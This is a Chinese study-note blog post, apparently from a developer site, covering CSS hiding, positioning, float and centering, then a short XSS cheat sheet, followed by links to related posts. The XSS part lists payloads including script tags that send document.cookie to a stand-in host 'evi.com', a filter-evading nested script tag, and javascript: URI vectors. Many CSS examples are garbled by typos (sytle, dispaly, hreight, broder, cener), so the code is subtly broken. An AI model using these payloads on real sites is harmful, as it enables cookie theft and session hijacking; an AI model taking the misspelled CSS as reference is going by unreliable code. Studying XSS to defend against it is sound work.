一、CSS  标题隐藏

1、 <sytle>h1.hidden {visibility: hidden;}

</style>

<body> <h1>这是一个可以看见的标题</h1>

<h1 class="hidden">这是隐藏的标题</h1></body>该元素被隐藏了，但是占得空间任然存在

2、<style>

h1.hidden{dispaly:none;}</style>

<body><h1 class="hidden">这是一个隐藏标题</h1></body>  display 的属性 空间会被替换

3、<style>li{displey:inline;}</style>   <!--显示为内联元素--><body>

<ul><li><a href="/html/" target=_blank";>HTML</a></li></ul></body>

4、<style>span{

display:block;}</style>

<body>

<h2>NIRDD</h2>

<span>KJNLKSDN</span></body>

5、CSS Positioning   position 属性定位了元素的位置

<style> p.pos_fixed{

position:fixed;

top:30px;

right:50px;}</style>

<body><p class="pos_fixed" >Some more text </p></body>

6、relative 定位相对于定位元素的正常位置

<style> h2.pos_left{

position:relative;

left:-20px;}

h2.pos_right{

position:relative;

left:20px;}</style>

7、absolute定位 位置相对于自己最近的父位元素，如果没有该元素则相对于HTML

<style>

h2{position:absolute;

left:100px;

top:150px;

}</style>

<body><h2这是一个绝对定位的元素></h2></body>

8、重叠元素的定位

元素的定位于文档流无关，所以可以覆盖页面上的元素， Z-index属性指定了一个元素的堆叠顺序，一个元素可以有正数和负数的堆叠顺序

<style>img{position:absolute;

left:0px;

top:opx;

z-index:-1}</style>

<body><h1>这是最上面显示的一层</h1>

<img src="ww.gif" width="100" heigth="23" /></body>

9、CSS Float 属性设置

图像的浮动   <style>

img{float:right;

}</style>

<body>

<p>图片浮动，文字会绕着图片</p>

<img src="logcss.gif" width="3" height="3" >

<p>JKLJDPF</p></body>

如果将几个浮动的图片放到一起，则图片会相邻排序

<style>.thumbnail{

float:left;

width:100px;

height:0px;

margin:4px;}</style>

<body>

<img  class ="thumbnail" src="s.gif"  width="1" height="2" >

<img  class ="thumbnail" src="t.gif"  width="1" height="2" >

<img  class ="thumbnail" src="g.gif"  width="1" height="2" >

<img  class ="thumbnail" src="h.gif"  width="1" height="2" ></body>

10、元素浮动之后周围的元素会重新排列，为了避免这种情况，使用clear属性，clear属性指定元素两侧不能出现浮动元素

使用clear属性王文本中添加图片的轮廓

<style>

.thumbnail{

float:left;

width:100px;

height:90px;

margin:3px;}

.text_line{

clear:both;

margin-bottom:2px;}</style>

<body><img class="thumbnail" src="/image/tian.gif"  hreight="23" width="32";>

<img class="thumbnail" src="/image/tian.gif"  hreight="23" width="32";>

<img class="thumbnail" src="/image/tian.gif"  hreight="23" width="32";>

<h3 class="text_line">第二行</h3>

<img class="thumbnail" src="/image/tian.gif"  hreight="23" width="32";>

<img class="thumbnail" src="/image/tian.gif"  hreight="23" width="32";></body>

11、CSS布局 水平&垂直对齐  元素居中

要水平居中对齐一个元素如<div>可以使用margin :auto;   涉及到元素的宽度防止它溢出到容器的边缘，元素通过制定宽度，并将两边的空边距平珏分配

<style>

.center{margin:auto;

width:60%:

broder: 3px solid rgb(12,23,23);

padding；10px;}</style>

<body>

<div class="center"><p>KJJJPJ</p></div></body>

12、文本居中对齐

<style>

.center{

text-align:cener;

border: 3px solid green;}</style>

<body><div class="center"><p>文本居中对齐</p></div></body>

13、图片居中对齐

<style>img{display:block;

margin: 0 auto;

4}</style>

<body><img src="www.baidu/od.gif" alt="psds" style="width：40%”;></body>

二、XSS跨站脚本

1、常见的XSS代码SHEET

<script>alert(1);</script>    <script>alert("XSS")  </script>   <script src="http:www.evi.com/cookie.php"></script>

<script>location.href="http://ww.evi.com/cookie.php?cookie="+escape(document.cookie)</script>

<src<script>ipt>alert("XSS");</src</script>ipt>

2、利用<>标记注入 HTML/JavaScript

<scirpt>shellcode</script>

3、<table background="javascript:alert(/XSS/)”></table>

<img src="javascript:alert('XSS');"/>

HTML&javaSkcript&CSS&jQuery&ajax-XSS的更多相关文章

  1. XSS-HTML&javaSkcript&CSS&jQuery&ajax

    1.设置不同的样式列表 <style> ul.a{list-style-tyrp:circle;}    ul.b{list-style-type:square;}   ul.c{list ...

  2. java-HTML&javaSkcript&CSS&jQuery&ajax

    CSS  伪装 1.<style>a;link{color:#000000} a:visited{color:#000000; a.:hover{color:#FF00FF} a:acti ...

  3. HTML&javaSkcript&CSS&jQuery&ajax（十）

    HTML 1.SVG直接嵌入HTML网页 ,SVG 是使用XML描述2D图像的语言,Canvas通过JavaScript来绘制2D <svg xmlns="http://www.w3. ...

  4. HTML&javaSkcript&CSS&jQuery&ajax（八）

    一. <!DOCTYPE html><html><head><meta charset="utf-8"><tiitle> ...

  5. HTML&javaSkcript&CSS&jQuery&ajax（七）

    ’一.HTML5 实例  <video width="430" controls>   <source src="mov_nnn.mp4" t ...

  6. HTML&javaSkcript&CSS&jQuery&ajax（五）

    一.Framset标签定义了每个框架中的HTML文档, 1. <framset cols="25%,75%"> <frame src="frame_a. ...

  7. HTML&javaSkcript&CSS&jQuery&ajax（四）

    一.HTML创建响应设计 Responsive Web Design 可以改变尺寸传递网页,对于平板和移动设备是必须的 1.<!DOCTYPE html><html lang=&qu ...

  8. HTML&javaSkcript&CSS&jQuery&ajax（三）

    一.HTML块元素 1.块级元素 Block level element ,内联元素 inline element , HTML<div>元素属于块级元素,他是组合其他HTML元素的容器, ...

  9. HTML&javaSkcript&CSS&jQuery&ajax（二）

    一.HTML 1.标签<a href="http:www.baidu.com">This is a link </a>         <img sr ...

  10. java-HTML&javaSkcript&CSS&jQuery&ajax( 八)

    一.JavaScript教程笔记 1.在web页面中一般使用JavaScript脚本语言,支持跨平台,跨浏览器,驱动网页,与用户交互.另外Node.js把JavaScript引入到了服务器端. Jav ...

随机推荐

  1. zabbix系列 ~ 自动监控多实例功能

    一 场景     监控mongo的多实例端口二 目标 定制一套模板,根据不同的端口进行批量监控项的生成三 步骤  1 编写py脚本实现端口josin化输出,以便zabbix_server能进行识别  ...

  2. Hibernate_day04

    Hibernate_day04 上节内容 1 表与表之间关系回顾 (1)一对多(客户和联系人) (2)多对多(用户和角色) 2 hibernate一对多操作 (1)一对多映射配置 (2)一对多级联保存 ...

  3. jsp映射为其他地址上去 ？？？

    在web.xml 里面配置servlet不起作用,所以配置jsp,然后在jsp里面跳转到servlet去   ???  第八天中的<08-jsp常用标签.avi> 在web.xml里面先设 ...

  4. Out of range value for column ""

    今天同事在初始化数据时,在初始手机号遇到如下报错:  我实体类的字段如下: @Column @Comment("购车人手机号") @ColDefine(type = ColType ...

  5. openstack Q版部署-----glance安装配置（4）

    镜像服务(glance)使用户能够发现,注册和检索虚拟机镜像. 它提供了一个REST API,使您可以查询虚拟机镜像元数据并检索实际镜像. 您可以将通过镜像服务提供的虚拟机映像存储在各种位置,从简单的 ...

  6. Linux Shell脚本编程

    ⒈为什么要学习Shell编程 1)Linux运维工程师在进行服务器集群管理时,需要编写Shell程序来进行服务器管理 2)对于JavaEE和Python程序员来说,有些工作需要编写一些Shell脚本进 ...

  7. How to Train Triplet Networks with 100K Identities?

    1. 为什么介绍此文? Triplet net 改进工作之一,主要思想是在大数据集(人脸识别)上的困难样本挖掘.人脸识别工作对于图像对匹配而言很有借鉴意义,共性是特征的提取和样本数据的挖掘. Trip ...

  8. MongoVUE 使用教程

    MongoVUE是一款针对MongoDB的客户端工具,现在连接数据库也叫数据模式有2种方法,一种是B/S结构的数据库,通过网页就可以访问.另外一种就是基于C/S客户端的连接方式,本次为大家分享的这一个 ...

  9. 解决genymotion-arm-translation.zip无法拖拽安装的问题

    1.问题由来 适用情况一:当我们启动了Genymotion模拟器后,在AndroidStudio运行app时,弹出如下错误: INSTALL_FAILED_CPU_ABI_INCOMPATIABLE ...

  10. less个人学习笔记

    less中文官网:http://lesscss.cn/ . http://www.bootcss.com/p/lesscss/ Busy 视频教程:http://www.imooc.com/learn ...